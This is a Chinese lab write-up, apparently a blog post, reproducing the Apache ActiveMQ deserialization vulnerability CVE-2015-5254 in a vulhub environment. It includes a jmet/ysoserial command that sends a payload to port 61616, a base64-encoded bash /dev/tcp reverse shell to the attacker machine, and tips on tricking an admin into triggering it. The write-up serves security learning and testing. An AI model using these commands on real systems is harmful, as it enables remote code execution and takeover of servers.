【vulhub漏洞复现】ActiveMQ 反序列化漏洞 (CVE-2015-5254)

一、漏洞描述


Apache ActiveMQ 是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持 Java 消息服务、集群、Spring 框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)。

二、漏洞成因


Apache ActiveMQ 5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。

三、影响版本


Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0

四、利用限制

1).版本符合
2).立即执行代码:能够通过弱密码登录查看消息队列
3).没有查看队列所有消息的用户名和密码下,只能管理员/用户去点击我们插入的消息才能触发(比较鸡肋,但可以写入创建用户命令等待管理员点击查看,概率很大!)

五、复现环境

靶机:安装了docker的vulhub靶场     192.168.153.133

攻击机 :2021 版本的kail机(如果版本是2023版的kail可能Java消息利用工具不兼容(Java1.8))    192.168.153.132

#开启靶场:找到所对应的漏洞的路径开启

cd vulhub

cd activemq/CVE-2015-5254

#启用漏洞环境

docker-compose up -d

六、漏洞利用

6.1.运行环境后,会建立61616和8161这两个端口。

6.2.其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口。访问http://192.168.153.133:8161,如下:

6.3.打开http://192.200.30.72:8081/admin,使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。

6.4复现描述:

1.生成序列化的有效负载(可以使用 ysoserial)
2.作为一个消息,将有效负载发送到端口 61616
3.访问web管理页面并读取序列化消息,然后就可以触发这个漏洞了。

6.5复现过程

1.在kali攻击机上下载jmet的jar(Java 消息利用工具)文件(速度慢的也可以在Windows下载在拉进去kail里),然后在同目录下创建external文件夹。(否则可能会出现文件夹不存在的错误)

#下载jmet的jar包 wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

#创建external目录

mkdir external

2.执行命令,将有效负载发送到目标IP的61616端口。

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.153.133 61616
 

【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为myevent的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。

 java -jar jmet-0.1.0-all\ .jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.153.133 61616

3.这时,会给目标ActiveMQ添加一个myevent列,我们可以通过看到http://192.168.153.133:8161/admin/browse.jsp?JMSDestination=myevent这个队列中所有消息:

点击查看这条消息(myevent )即可触发命令执行

登录ActiveMQ容器环境,查看命令已经执行成功,/tmp/sucess文件已成功创建。


#****** -->为docker ID,使用docker ps命令能够查看
docker exec  -it   ****** /bin/bash

cd /root

cd /tmp

(懒得敲,网上拿人家的)

至此验证漏洞存在并复现完毕

漏洞利用(反弹shell)

局限性:在等待shell连接时候,需要管理员/用户点击你的事件

攻击者于19999端口监听shell连接

发送bash弹shell的命令payload到服务器
(这里需要对bash命令进行base64编码)

bash -i >& /dev/tcp/192.168.153.132/19999 0>&1

base64 :YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1My4xMzIvMTk5OTkgMD4mMQ==

java -jar jmet-0.1.0-all\ .jar -Q myevent -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1My4xMzIvMTk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.153.133 61616

成功添加事件

靶机点击事件促发监听

kail:nc -lvvp 19999



七、疑问(网上找了一些回答)

八、总结

通过网页管理页面访问消息并触发漏洞需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接来触发,或者伪装成来自其他服务的合法消息需要等待客户端访问时才触发。(有点像存储型xss)

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值